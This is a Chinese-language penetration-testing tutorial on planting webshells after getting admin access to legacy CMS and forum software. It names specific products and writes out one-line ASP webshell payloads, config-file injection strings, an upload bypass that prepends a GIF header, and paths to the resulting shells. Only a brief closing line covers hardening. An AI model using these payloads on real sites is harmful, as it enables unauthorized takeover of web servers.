在进行渗透测试或安全审计时,获取后台管理权限后,通常下一步就是尝试获取webshell。本文总结了多种常见的手法,虽然部分漏洞年代较为久远,但其思路依然具有参考价值——因为许多系统虽然在不断更新,核心逻辑却并未发生根本变化。
一、直接上传获取Webshell
此类漏洞在PHP和JSP程序中较为常见,例如MolyX BOARD。在心情图标管理页面直接上传.php文件,尽管系统没有任何提示,但实际上已经成功上传。文件URL通常位于/images/smiles目录下。此前联众游戏站和网易的JSP系统也存在类似漏洞,可直接上传JSP文件,文件名保持不变。Bo-Blog后台同样允许直接上传.php文件,并会给出上传路径。再往前追溯,多年前非常流行的upfile.asp漏洞(动网5.0和6.0,以及早期许多整站系统)也是因为上传文件过滤不严,导致用户能直接上传webshell到任意可写目录,从而获得管理员权限。
二、添加或修改上传类型
当前很多脚本程序的上传模块并非仅允许固定类型,而是允许系统管理员自行添加扩展类型。BBSXP后台允许添加asa|asp类型,EWebEditor后台也可以添加asa类型。修改后即可直接上传asa后缀的webshell。还有另一种情况:系统过滤了.asp,但可以添加.aspasp这种类型来绕过。PHP系统后台则可以添加.php.g1f的上传类型——这是PHP的一个特性:只要最后一个扩展名不是已知的可执行类型,PHP就会把php.g1f当作.php来解析,从而成功获取webshell。另外,LeadBbs3.14后台获得webshell的方法是:在上传类型中增加asp(注意后面加个空格),然后在前台上传ASP马,文件名后也要加空格。
三、利用后台管理功能写入Webshell
上传漏洞被修复得差不多后,进入后台还可以如何获取webshell?通过修改相关文件来写入webshell,是另一种思路。典型的有DVBBS 6.0和LeadBBS 2.88等,直接在后台修改配置文件,写入后缀为asp的文件。而LeadBBS 3.14还有个方法:添加一个新的友情链接,在网站名称处写上冰狐最小马(前后要随便加一些字符),然后https://网站/inc/IncHtm/BoardLink.asp就是我们要的webshell。
四、利用后台管理向配置文件写入Webshell
利用\"、\"、:、//等符号构造最小后门,写入程序的配置文件中。Joekoe论坛、某某同学录、沸腾展望新闻系统、COCOON Counter统计程序等很多PHP程序都能这样操作。以COCOON Counter为例,在管理邮箱处填上cnhacker@263.net\" : eval request(chr(35))//,配置文件中就变成了webmail=\"cnhacker@263.net\\\" : eval request(chr(35))//\"。另一种写法是cnhacker@263.net\"%><%eval request(chr(35))%><%',这样前后对应,最小马就能运行。<%eval request(chr(35))%>可以用Lake2的eval发送端或2006客户端来连接。需要说明的是,数据库插马时建议选前者。再比如动易2005,在文章中心管理→顶部菜单设置→菜单其它特效,插入一句话\"%><%execute request(\"l\")%><%',保存顶部栏目菜单参数设置后,马地址就是https://网站/admin/rootclass_menu_config.asp。
五、利用后台数据库备份与恢复功能获取Webshell
主要利用的是后台对Access数据库的“备份数据库”或“恢复数据库”功能。由于“备份的数据库路径”等变量没有过滤,导致可以将任意文件后缀改为asp,从而获取webshell。MSSQL版程序如果直接套用了Access版的代码,同样可以利用。还可以把网站asp文件备份为其他后缀(如.txt),从而查看网页源代码,获取更多程序信息,增加获得webshell的机会。实战中,经常遇到没有上传功能但有asp系统在运行的情况,利用此方法查看源代码,找到数据库位置,为数据库马创造条件。动网论坛就有一个IP地址的数据库,在后台的IP管理中可以插入最小马,然后备份成.asp文件。另外,此外再介绍突破上传检测的方法:很多ASP程序即使改了后缀名也会提示文件非法,可以在.asp文件头加上gif89a,修改后缀为gif来骗过检测。另一种方法是用记事本打开图片文件,随便复制一部分贴到ASP木马文件头,修改gif后缀后上传,也能突破检测,然后备份为.asp文件,成功得到webshell。
六、利用数据库压缩功能获取Webshell
通过压缩数据库,导致防下载功能失效,从而使插入数据库的最小后门成功运行。比较典型的是Loveyuki的L-BLOG,在友情链接的URL处写上<%eval request(chr(35))%>,提交后在数据库操作中压缩数据库,就能压缩出.asp文件,用海洋最小马的eval客户端连接,就能得到一个webshell。
从以上案例可以看出,建议关闭一些不常用的功能,限制部分目录的执行权限,禁止修改配置文件,同时结合服务器配置进行加固。安全无小事,多一分谨慎总是好的。
